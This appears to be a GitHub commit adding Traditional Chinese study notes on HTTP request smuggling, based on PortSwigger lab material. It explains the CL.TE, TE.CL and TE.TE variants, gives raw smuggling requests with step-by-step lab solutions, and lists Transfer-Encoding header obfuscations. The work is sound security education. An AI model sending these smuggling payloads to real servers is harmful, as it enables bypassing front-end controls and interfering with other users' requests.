Skip to content

Commit aa1f290

Browse files
committed
Docs: update http request smuggling
1 parent a33b2c4 commit aa1f290

1 file changed

Lines changed: 126 additions & 0 deletions

File tree

Advanced/HTTP_Request_Smuggling.md

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -95,3 +95,129 @@ q=smuggling
9595
然而,許多網站有一個支援 HTTP/2 的前端伺服器,但將其部署在僅支援 HTTP/1 的後端基礎設施前面。這意味著前端實際上必須將它接收到的請求翻譯成 HTTP/1。這個過程稱為 HTTP 降級。更多資訊請參見[進階請求走私](https://portswigger.net/web-security/request-smuggling/advanced)
9696
:::
9797

98+
## 如何執行 HTTP 請求走私攻擊
99+
100+
經典的請求走私攻擊涉及將 `Content-Length` 標頭和 `Transfer-Encoding` 標頭都放入單個 HTTP/1 請求中,並操縱這些標頭使前端和後端伺服器以不同方式處理請求。具體的執行方式取決於兩個伺服器的行為:
101+
102+
* **CL.TE**:前端伺服器使用 `Content-Length` 標頭,後端伺服器使用 `Transfer-Encoding` 標頭。
103+
* **TE.CL**:前端伺服器使用 `Transfer-Encoding` 標頭,後端伺服器使用 `Content-Length` 標頭。
104+
* **TE.TE**:前端和後端伺服器都支援 `Transfer-Encoding` 標頭,但其中一個伺服器可以透過某種方式混淆標頭而被誘導不處理它。
105+
106+
::: info Note
107+
108+
這些技術只能使用 HTTP/1 請求執行。瀏覽器和其他客戶端(包括 Burp)預設使用 HTTP/2 與在 TLS 握手期間明確宣告支援它的伺服器通訊。
109+
110+
因此,當測試支援 HTTP/2 的網站時,您需要在 Burp Repeater 中手動切換協議。您可以從 **Inspector** 面板的 **Request attributes** 區段執行此操作。
111+
:::
112+
113+
### CL.TE 漏洞
114+
115+
在這裡,前端伺服器使用 `Content-Length` 標頭,後端伺服器使用 `Transfer-Encoding` 標頭。我們可以執行簡單的 HTTP 請求走私攻擊如下:
116+
117+
```http
118+
POST / HTTP/1.1
119+
Host: vulnerable-website.com
120+
Content-Length: 13
121+
Transfer-Encoding: chunked
122+
123+
0
124+
125+
SMUGGLED
126+
```
127+
128+
前端伺服器處理 `Content-Length` 標頭,並確定請求主體長度為 13 位元組,直到 `SMUGGLED` 的結尾。此請求被轉發到後端伺服器。
129+
130+
後端伺服器處理 `Transfer-Encoding` 標頭,因此將訊息主體視為使用分塊編碼。它處理第一個資料塊,該資料塊被聲明為零長度,因此被視為終止請求。接下來的位元組 `SMUGGLED` 未被處理,後端伺服器會將這些位元組視為序列中下一個請求的開始。
131+
132+
::: tip Lab: [HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
133+
134+
1. 此 Lab 情境為使用前端和後端兩台伺服器處理請求,前端伺服器不會解析 `Transfer-Encoding`,後端則會。前端伺服器不接受 `GET``POST` 以外的請求,要想辦法成功向後端發送 `GPOST` 請求以完成此 Lab。
135+
2. 在 Burp Repeater 頁面的 Request attributes 部分設定使用 HTTP/1 進行請求
136+
3. 使用以下請求發送兩次,就可以對後端伺服器進行 `GPOST` 請求,完成此 Lab。
137+
```http
138+
POST / HTTP/1.1
139+
Host: YOUR-LAB-ID.web-security-academy.net
140+
Content-Length: 6
141+
Transfer-Encoding: chunked
142+
143+
0
144+
145+
G
146+
```
147+
:::
148+
149+
### TE.CL 漏洞
150+
151+
在這裡,前端伺服器使用 `Transfer-Encoding` 標頭,後端伺服器使用 `Content-Length` 標頭。我們可以執行簡單的 HTTP 請求走私攻擊如下:
152+
153+
```http
154+
POST / HTTP/1.1
155+
Host: vulnerable-website.com
156+
Content-Length: 3
157+
Transfer-Encoding: chunked
158+
159+
8
160+
SMUGGLED
161+
0
162+
```
163+
164+
::: info Note
165+
166+
要使用 Burp Repeater 發送此請求,您首先需要進入 Repeater 選單並確保 "Update Content-Length" 選項未勾選。
167+
168+
您需要在最後的 `0` 後面包含尾隨序列 `\r\n\r\n`
169+
:::
170+
171+
前端伺服器處理 `Transfer-Encoding` 標頭,因此將訊息主體視為使用分塊編碼。它處理第一個資料塊,該資料塊被聲明為 8 位元組長,直到 `SMUGGLED` 後面行的開始。它處理第二個資料塊,該資料塊被聲明為零長度,因此被視為終止請求。此請求被轉發到後端伺服器。
172+
173+
後端伺服器處理 `Content-Length` 標頭,並確定請求主體長度為 3 位元組,直到 `8` 後面行的開始。接下來的位元組,從 `SMUGGLED` 開始,未被處理,後端伺服器會將這些位元組視為序列中下一個請求的開始。
174+
175+
::: tip Lab: [HTTP request smuggling, basic TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)
176+
177+
1. 連續發送以下請求兩次,完成此 Lab(注意結尾的 `\r\n` 數量)。
178+
```http
179+
POST / HTTP/1.1
180+
Host: YOUR-LAB-ID.web-security-academy.net
181+
Content-Type: application/x-www-form-urlencoded
182+
Content-Length: 4
183+
Transfer-Encoding: chunked
184+
185+
5b
186+
GPOST / HTTP/1.1
187+
Content-Type: application/x-www-form-urlencoded
188+
Content-Length: 3
189+
190+
x=1
191+
0
192+
193+
```
194+
:::
195+
196+
### TE.TE 行為:混淆 TE 標頭
197+
198+
在這裡,前端和後端伺服器都支援 `Transfer-Encoding` 標頭,但其中一個伺服器可以透過某種方式混淆標頭而被誘導不處理它。
199+
200+
混淆 `Transfer-Encoding` 標頭有無數種潛在方式。例如:
201+
202+
```http
203+
Transfer-Encoding: xchunked
204+
205+
Transfer-Encoding : chunked
206+
207+
Transfer-Encoding: chunked
208+
209+
Transfer-Encoding: x
210+
211+
Transfer-Encoding:[tab]chunked
212+
213+
[space]Transfer-Encoding: chunked
214+
215+
X: X[\n]Transfer-Encoding: chunked
216+
217+
Transfer-Encoding
218+
: chunked
219+
```
220+
221+
這些技術中的每一種都涉及對 HTTP 規範的微妙偏離。實作協議規範的真實世界程式碼很少絕對精確地遵守它,不同的實作容忍規範的不同變化是很常見的。要發現 TE.TE 漏洞,需要找到 `Transfer-Encoding` 標頭的某種變化,使得只有前端或後端伺服器之一處理它,而另一個伺服器忽略它。
222+
223+
根據是前端還是後端伺服器可以被誘導不處理混淆的 `Transfer-Encoding` 標頭,攻擊的其餘部分將採取與已描述的 CL.TE 或 TE.CL 漏洞相同的形式。

0 commit comments

Comments
 (0)